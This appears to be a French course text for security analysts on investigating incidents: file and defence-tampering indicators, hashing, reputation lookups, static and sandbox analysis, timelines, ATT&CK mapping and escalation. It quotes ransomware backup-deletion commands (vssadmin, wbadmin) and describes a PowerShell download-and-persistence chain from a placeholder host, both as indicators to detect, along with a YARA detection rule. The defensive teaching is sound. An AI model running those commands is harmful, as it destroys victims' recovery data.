Les programmes et scripts dans C:\Users\Public, %TEMP%, %APPDATA% ou /tmp méritent de l’attention lorsqu’ils sont inattendus. Une double extension comme invoice.pdf.exe cache le rôle réel du fichier. Des renommages massifs, de nouvelles extensions et des demandes de rançon dans de nombreux dossiers constituent un schéma de rançongiciel bien plus probant qu’un seul fichier inconnu.

Les dates des fichiers peuvent être manipulées. L’événement Sysmon 2 enregistre les modifications de l’heure de création d’un fichier, appelées falsification des horodatages. Compare l’historique des événements à la date visible avant de conclure qu’un fichier d’apparence ancienne est antérieur à l’incident.

Windows ajoute souvent le flux de données alternatif Zone.Identifier aux téléchargements provenant d’Internet. Cette marque du Web peut contenir l’URL source, tandis que l’événement Sysmon 15 peut enregistrer la création du flux. Préserve le flux avec le fichier lors de sa collecte ; les méthodes de copie ou d’extraction peuvent le supprimer, si bien que son absence seule constitue une preuve faible de l’origine.

Recherche les défenses affaiblies

Les modifications à examiner comprennent la désactivation de la protection en temps réel, de nouvelles exclusions antivirus, des règles de pare-feu entrantes, l’activation récente de RDP, de nouveaux administrateurs locaux et la réduction des paramètres d’audit. L’événement de sécurité 1102 enregistre l’effacement du journal d’audit de sécurité. Mets ces modifications en corrélation avec l’utilisateur ou le processus responsable et les opérations de maintenance approuvées.

Des commandes comme vssadmin delete shadows /all /quiet suppriment les copies instantanées de volumes, et wbadmin delete catalog supprime le catalogue de sauvegarde. Les attaquants les utilisent pour entraver le rétablissement avant le chiffrement par rançongiciel. Leur apparition exige une escalade immédiate selon le scénario de réponse, pendant que l’équipe vérifie l’activité des processus et des fichiers autour de ces commandes.

Compare les logiciels et l’utilisation des ressources

Un logiciel d’assistance à distance signé peut tout de même fournir un accès non autorisé. Compare l’inventaire EDR ou MDM à la liste approuvée et aux enregistrements de déploiement. Examine les outils d’extraction d’identifiants, les scanneurs ou les outils de transfert cloud comme rclone sur un hôte qui n’a pas de besoin approuvé de les utiliser.

Un logiciel de minage peut pousser l’utilisation du processeur ou du processeur graphique près de 100 % et contacter un groupe de minage, parfois à l’aide d’une adresse stratum+tcp://. Une utilisation élevée se produit aussi dans des charges de travail légitimes : relie donc la charge à un processus et à une destination. Un disque qui se remplit, un épuisement de la mémoire et des plantages répétés de services peuvent indiquer une collecte de données ou une exploitation qui échoue.

Relie la préparation des données au trafic sortant

La préparation des données avant exfiltration consiste à rassembler des éléments avant leur exfiltration. De grandes archives .7z ou .rar dans un dossier public ou temporaire, une protection par mot de passe et des parties d’archive de taille égale sont des pistes utiles. Identifie le processus qui les a créées, les fichiers rassemblés et l’heure de l’opération.

Si un processus non approuvé crée des parties d’archive puis envoie un transfert volumineux, cette séquence relie la préparation au transfert. Les données de flux mesurent le trafic, mais ne peuvent pas révéler le contenu des archives. Utilise les preuves relatives aux processus et aux accès aux fichiers pour déterminer ce qui a été rassemblé ; la taille de l’archive seule ne permet pas d’établir quels enregistrements ont quitté l’organisation.

La réputation ajoute un contexte extérieur aux preuves locales. Elle peut permettre d’identifier un fichier connu, de révéler un domaine récemment enregistré ou de montrer des signalements d’abus récents. L’ancienneté du résultat, ses conséquences pour la confidentialité et son lien avec cet hôte comptent autant que son score.

Identifie le fichier exact

Une empreinte cryptographique donne au contenu d’un fichier un identifiant de longueur fixe. MD5 utilise 32 caractères hexadécimaux, SHA-1 en utilise 40 et SHA-256 en utilise 64. Des attaques par collision réalisables affaiblissent MD5 et SHA-1 : utilise donc SHA-256 pour identifier les preuves.

Get-FileHash .\file.exe -Algorithm SHA256
certutil -hashfile file.exe SHA256

Sous Linux, utilise sha256sum file. La modification d’un seul octet change radicalement l’empreinte : les débuts des empreintes SHA-256 de « invoice » et « Invoice » sont 52d6e3de4fa0dcc2 et b832002da297545f. Un attaquant peut recompiler une charge utile ou y ajouter du remplissage pour échapper à une recherche d’empreinte exacte. Les empreintes floues comme ssdeep comparent la similarité ; imphash regroupe les fichiers PE selon leurs importations.

Interprète un rapport de réputation

VirusTotal combine plusieurs moteurs, relations et rapports d’analyse. Un résultat de 58/72 signifie qu’environ 81 % des moteurs ont signalé le fichier ; 3/72 signifie environ 4 %. Un faible nombre peut correspondre à une fausse alerte ou à une nouvelle menace. Lis les noms des détections, la première soumission, les noms de fichier observés, la signature et l’infrastructure contactée en tenant compte du rapport. Zéro détection laisse ouverte la question du comportement.

La recherche d’une empreinte évite d’envoyer le contenu du fichier, mais révèle l’empreinte qui t’intéresse. Si le service possède déjà le fichier, l’empreinte peut l’identifier. Les téléversements partagent l’échantillon réel et peuvent l’exposer aux abonnés ou à un attaquant qui surveille les soumissions. Vérifie d’abord l’empreinte ; conserve les contenus confidentiels dans des systèmes privés d’analyse approuvés.

Une signature valide renforce la confiance dans l’origine, mais le vol de certificats et le détournement d’outils système signés restent possibles. Vérifie à la fois la validité de la signature et la correspondance entre le signataire et le produit annoncé. Évalue ensuite la commande ou le comportement observé du fichier.

Lis le contexte des domaines et des adresses IP

Les données d’enregistrement peuvent révéler le bureau d’enregistrement et la date de création, même lorsque les coordonnées du titulaire sont masquées. RDAP est le protocole faisant autorité pour les données d’enregistrement des domaines génériques de premier niveau depuis la transition de janvier 2025 ; les outils peuvent encore appeler leur vue « WHOIS ». Un domaine créé deux jours avant une campagne d’hameçonnage est un signal d’alerte utile. Le DNS passif ajoute les anciennes associations d’adresses et la transparence des certificats les noms figurant sur les certificats émis.

AbuseIPDB regroupe les signalements d’abus concernant les adresses IP. Vérifie les dates et le service signalé : une adresse IP du cloud peut avoir changé de client. GeoIP fournit une localisation approximative de l’infrastructure, pas une localisation fiable de la personne derrière un VPN, Tor ou un service cloud. L’hébergement partagé et les réseaux de diffusion de contenu rendent aussi les blocages étendus d’adresses IP perturbateurs.

Privilégie les preuves qui résistent aux changements

La pyramide de la douleur classe les empreintes, les adresses IP, les domaines, les artefacts sur les hôtes et le réseau, les outils et les techniques de l’attaquant selon la difficulté croissante qu’il rencontre pour les modifier. Les empreintes exactes sont faciles à remplacer. Une détection de Word lançant un programme de téléchargement et établissant une persistance peut rester utile après le changement de l’empreinte du fichier et de la destination. Conserve les indicateurs de courte durée avec des dates de révision ou d’expiration, tout en consignant le comportement qui les a produits.

L’analyse statique examine un fichier sans l’exécuter. Elle aide à identifier ce qu’est réellement le fichier, les capacités qu’il peut contenir et ce qu’un bac à sable doit surveiller. Distingue les indices de capacité des comportements effectivement observés.

Identifie le type et le contenu lisible

Les extensions sont faciles à modifier. Examine les octets magiques avec file, une visionneuse hexadécimale ou l’opération Detect File Type de CyberChef :

Une pièce jointe appelée invoice.pdf qui commence par MZ se fait passer pour un document. Confirme la structure, car une courte signature seule ne constitue qu’une première vérification du type.

GNU strings -a file.exe extrait le texte ASCII dans tout le fichier. strings -a -e l file.exe extrait le texte UTF-16LE, courant dans les programmes Windows. FLOSS et Strings de Sysinternals peuvent aider à couvrir les deux. Recherche les domaines, URL, commandes, chemins de registre, noms de fichiers et messages d’erreur. Le texte extrait peut être inutilisé ou trompeur : conserve donc son emplacement et confronte-le aux comportements observés par la suite.

Lis les indices de structure et de compression

Un exécutable PE possède des en-têtes, des sections comme .text, .data et .rsrc, ainsi qu’une table d’importation des fonctions qu’il demande. VirtualAllocEx, WriteProcessMemory et CreateRemoteThread ensemble suggèrent une possible injection de code. URLDownloadToFile et InternetOpenUrl suggèrent une capacité de téléchargement. Un horodatage de compilation peut être falsifié et doit être corroboré.

Les packers compressent ou chiffrent le code et le décompressent en mémoire. Peu de chaînes, une courte liste d’importations, des sections UPX0/UPX1 et une entropie élevée suggèrent une compression par un packer. L’entropie approche 8 bits par octet pour des données d’apparence très aléatoire, mais des ressources compressées et des programmes d’installation ordinaires peuvent présenter les mêmes caractéristiques. La compression change la manière de mener l’investigation ; elle ne suffit pas à conclure.

Décode le texte et teste une correspondance

Les recettes CyberChef peuvent combiner Base64, hexadécimal, XOR, décompression et décodage d’URL. Applique les opérations dans l’ordre nécessaire au contenu. Une expression régulière comme \b(?:\d{1,3}\.){3}\d{1,3}\b extrait du texte ressemblant à une adresse IPv4, mais correspond aussi à 999.1.1.1 : valide donc les résultats possibles.

Une règle YARA peut combiner des caractéristiques indépendantes :

rule Suspicious_Downloader
{
    strings:
        $mz = { 4D 5A }
        $a = "DownloadString" ascii wide
        $b = "198.51.100.7"
    condition:
        $mz at 0 and $a and $b
}

Le fichier doit commencer par MZ et contenir les deux chaînes ; ascii wide accepte la chaîne de téléchargement dans l’une ou l’autre représentation. Teste la règle sur des fichiers connus comme sains pour mesurer les correspondances accidentelles. Une correspondance établit que les conditions de la règle sont remplies ; l’examen de l’analyste permet de déterminer ce qu’elles signifient.

Pour les documents, extrais les macros avec olevba. Pour les scripts, supprime l’encodage ou l’obfuscation sous forme de texte. Utilise les fonctions, arguments et indicateurs obtenus pour configurer et interpréter l’analyse dynamique.

L’analyse dynamique exécute un échantillon dans un environnement contrôlé et enregistre ses actions. Un bac à sable peut révéler le comportement caché par la compression ou le contenu actif d’un document. Son rapport décrit cette exécution avec cette configuration ; vérifie si l’échantillon disposait de ce dont il avait besoin pour agir.

Configure une exécution utile

Utilise un environnement isolé et instrumenté comme Joe Sandbox, Cuckoo ou un bac à sable interactif. Sépare-le de la production, contrôle son accès réseau et réinitialise-le à un instantané sain après chaque exécution. Les services réseau peuvent être simulés avec INetSim ou FakeNet, ou acheminés par une infrastructure d’analyse approuvée. Garde les échantillons confidentiels dans des systèmes privés.

Choisis le système d’exploitation et les applications adaptés à la cible. Un document à macros nécessite l’environnement Office correspondant ; une archive peut nécessiter son mot de passe ; un programme peut exiger des arguments, des clics, un parent particulier ou un redémarrage. Consigne ces paramètres et la durée d’exécution pour qu’un autre analyste puisse interpréter le résultat.

Lis les actions derrière le score

Examine l’arbre des processus, les modifications de fichiers et du registre, l’activité DNS et HTTP, les connexions, les captures d’écran et les empreintes des fichiers déposés. Un rapport peut aussi montrer des mutex et des correspondances ATT&CK. Un mutex coordonne l’accès exclusif à une ressource ; un logiciel malveillant utilise parfois un nom de mutex distinctif pour éviter d’exécuter deux copies. Les logiciels légitimes utilisent aussi des mutex.

Prenons l’exécution d’un document qui produit la chaîne Word → PowerShell masqué et encodé, une recherche de cdn-update.example.net, une requête HTTP GET pour /a.ps1, C:\Users\Public\upd.exe et une entrée Run pointant vers ce fichier. Recueille le domaine, l’adresse IP, l’URL, l’empreinte du fichier déposé, le chemin et la valeur Run. PowerShell étaye la correspondance avec T1059.001 et l’entrée Run celle avec T1547.001. La transmission par pièce jointe d’hameçonnage nécessite des preuves distinctes issues du courriel pour T1566.001.

Relie les affirmations du rapport aux événements enregistrés. Un score global élevé aide à hiérarchiser un échantillon, mais les actions des processus expliquent ce qui s’est passé et quels indicateurs sont utiles dans ton environnement.

Examine un échantillon inactif

Un logiciel malveillant peut rester en veille au-delà de la période d’observation, détecter le matériel virtuel, examiner les ressources mémoire ou processeur, attendre des clics ou exiger une langue ou un emplacement particulier. Un téléchargement qui échoue peut aussi empêcher l’étape suivante de s’exécuter. Vérifie à nouveau les dépendances et les résultats statiques avant de considérer une exécution inactive comme rassurante.

Choisis une nouvelle exécution qui teste une explication concrète : prolonge la durée pour tester une attente, fournis l’application ou les arguments requis, ajoute une interaction ou utilise un autre profil de système d’exploitation. Consigne les modifications. Si une incertitude importante subsiste, transmets l’échantillon à un spécialiste de la rétro-ingénierie.

Réutilise les résultats dans le dossier

Recherche les domaines, chemins, empreintes et comportements pertinents dans les enregistrements DNS, du proxy, du pare-feu et de l’EDR. Les mises à jour Windows, vérifications de certificats et tests de connectivité d’un bac à sable sont des activités de fond ; distingue-les des actions provoquées par l’échantillon avant de bloquer des destinations.

Un bac à sable peut fournir des pistes de recherche pour d’autres hôtes, mais son exécution isolée ne permet pas d’établir quels hôtes de production ont été infectés. Fais correspondre les pistes aux événements locaux et à l’historique des processus, puis préserve ces enregistrements avec le rapport et l’empreinte de l’échantillon.

La corrélation relie les enregistrements pour produire un récit de l’incident qu’un autre analyste peut vérifier. Le courriel peut établir la transmission, la télémétrie du terminal peut établir l’exécution et les preuves réseau peuvent établir la communication. Une chronologie utile distingue ces observations des liens de causalité que tu vérifies encore.

Normalise les heures et les identités

Convertis les heures en UTC et conserve le fuseau d’origine ainsi que tout décalage d’horloge connu. Une heure EDR de 11:14:31 en UTC+2 correspond à 09:14:31 UTC. Confirme si la console ou l’export a converti les horodatages UTC d’origine d’un capteur. Une dérive de l’horloge malgré NTP peut laisser plusieurs minutes d’écart entre les sources, même après conversion des fuseaux horaires.

Choisis des champs de liaison qui identifient le même objet à ce moment-là : hôte, utilisateur, empreinte, URL, domaine, Message-ID, uid Zeek ou GUID de processus. Un PID nécessite une heure de démarrage, car il peut être réutilisé. Une adresse IP nécessite l’historique DHCP ou VPN, car un bail ultérieur peut l’attribuer à un autre hôte. Conserve chaque enregistrement source ou référence de requête à côté de l’entrée de chronologie.

Construis la chaîne des événements observés

Pour un dossier, les preuves en UTC sont les suivantes :

• 09:12:05 : un message contenant invoice.docm arrive dans 40 boîtes aux lettres.
• 09:14:10 : l’utilisateur sur WS-0423 ouvre la pièce jointe.
• 09:14:31 : Word lance du PowerShell encodé.
• 09:14:32–33 : DNS résout le nom de l’hôte de téléchargement et une requête HTTP GET demande /a.ps1.
• 09:15:02 : upd.exe est écrit et une valeur Run est créée.
• À partir de 09:20:00 : les connexions se répètent toutes les 300 secondes.
• La nuit suivante, de 2 h 10 à 2 h 50 : 2,4 Go sont envoyés vers la même adresse IP.

Les preuves relatives aux processus et aux fichiers étayent les liens d’exécution et de persistance. Le transfert volumineux nécessite une attribution supplémentaire : le partage d’une adresse IP avec un trafic antérieur est moins probant que le partage d’une même instance de processus et d’un même canal applicatif.

Associe uniquement ce que les preuves étayent

MITRE ATT&CK fournit des noms standard pour les comportements. Le message étaye la technique de la pièce jointe d’hameçonnage ciblé, T1566.001 ; PowerShell étaye T1059.001 ; l’entrée Run étaye T1547.001. L’association du trafic périodique à une commande et un contrôle par protocole Web, T1071.001, nécessite des preuves de HTTP ou HTTPS. L’association du transfert à une exfiltration par ce canal C2, T1041, nécessite des preuves que le même processus et le même canal l’ont transporté.

ATT&CK n’est pas une séquence imposée. La découverte, l’accès aux identifiants et le déplacement latéral sont des recherches complémentaires possibles, pas des étapes manquantes à insérer nécessairement dans la chronologie.

Utilise les lacunes pour choisir la prochaine requête

Si le transfert dépasse le volume des propres fichiers de l’utilisateur, cherche si le processus a lu des partages, généré des données, répété des transferts ou coïncidé avec du trafic légitime. Trouve l’expéditeur et le contenu transféré lorsqu’ils sont disponibles. Consigne un événement inexpliqué comme tel au lieu de le faire entrer de force dans la première hypothèse.

Teste activement une autre explication, comme une modification ou une sauvegarde approuvée. Le biais de confirmation apparaît lorsqu’un analyste ne recueille que les faits qui correspondent au premier diagnostic. Une chronologie devient plus utile lorsque chaque lien incertain indique les preuves qui le renforceraient ou l’affaibliraient.

Une conclusion indique ce que les preuves étayent, ton niveau de confiance et ce qui doit se passer ensuite. Le dossier d’incident doit permettre à un autre analyste de reproduire l’investigation. Le seul classement d’une alerte comme grave ne fournit ni conclusion ni niveau de confiance défendable.

Classe le constat

Un vrai positif alerte correctement sur une activité malveillante. Un faux positif alerte sur une activité qui ne correspond pas à ce que la détection devait trouver. Un vrai positif bénin détecte correctement un comportement réel mais autorisé, comme un test d’intrusion planifié. Un faux négatif est une activité malveillante qui a été manquée. Utilise « non concluant » lorsque les preuves ne permettent pas encore de trancher et indique les données manquantes.

Vérifie si le comportement correspond à l’hôte et à l’utilisateur, s’il était autorisé, quelle est sa fréquence et si des sources indépendantes concordent. Indique un niveau de confiance élevé, moyen ou faible avec des raisons précises. Le niveau de confiance décrit la solidité du constat ; la gravité décrit son impact et son urgence.

Une commande PowerShell encodée, lancée par un agent de déploiement signé sur 3 000 hôtes pendant une fenêtre approuvée, se décode en une installation autorisée. C’est un vrai positif bénin lorsque la règle détecte correctement du PowerShell encodé. Le même schéma lancé par Word sur un hôte, qui contacte un domaine vieux de deux jours et crée une persistance, étaye une conclusion d’activité malveillante avec un niveau de confiance élevé.

Rédige une transmission reproductible

Consigne une brève synthèse, une chronologie en UTC, les hôtes et comptes touchés, les indicateurs neutralisés, les techniques ATT&CK étayées, la conclusion et le niveau de confiance. Inclus les requêtes, les identifiants d’alerte, les emplacements des preuves et les empreintes des fichiers pour qu’un autre analyste puisse retrouver les mêmes enregistrements. Énumère les actions déjà entreprises et les prochaines étapes recommandées.

Explique pourquoi une alerte est clôturée. Si une détection se déclenche à répétition sur une activité en dehors de son objectif, fournis aux ingénieurs de détection des exemples et du contexte pour le réglage. Une clôture inexpliquée masque à la fois les attaques manquées et les efforts répétés en vain.

Partage les indicateurs avec leur contexte

Associe une date d’expiration ou de révision aux indicateurs de domaines et d’adresses IP, car leur propriétaire et leur utilisation changent. Évite les blocages sans discernement d’infrastructures partagées comme les réseaux de diffusion de contenu. Les empreintes exactes identifient une version d’un fichier, tandis que les détections fondées sur le comportement peuvent repérer des variantes. Préserve le lien entre un indicateur, son comportement observé et son niveau de confiance lorsque tu le partages.

Préserve les preuves et procède à l’escalade

Transmets un constat malveillant confirmé conformément au scénario de réponse aux incidents, avec une gravité fondée sur les actifs touchés et l’impact. Préserve les messages originaux, les captures, les exports des terminaux et les échantillons recueillis. Consigne l’empreinte SHA-256 de chaque fichier ainsi que la personne qui l’a recueilli ou transféré et le moment de l’opération. Ces enregistrements de traçabilité documentent la manipulation des preuves ; l’empreinte permet de vérifier leur intégrité.

L’isolement par l’EDR est généralement préférable à la mise hors tension, car il restreint les communications tout en conservant la mémoire et un accès de gestion. L’arrêt forcé des processus et le redémarrage modifient aussi les preuves volatiles. Suis les priorités d’endiguement du scénario de réponse, recueille ce dont le dossier a besoin et consigne le moment de chaque action de réponse pour que les analystes suivants puissent distinguer l’activité de l’attaquant de la réponse.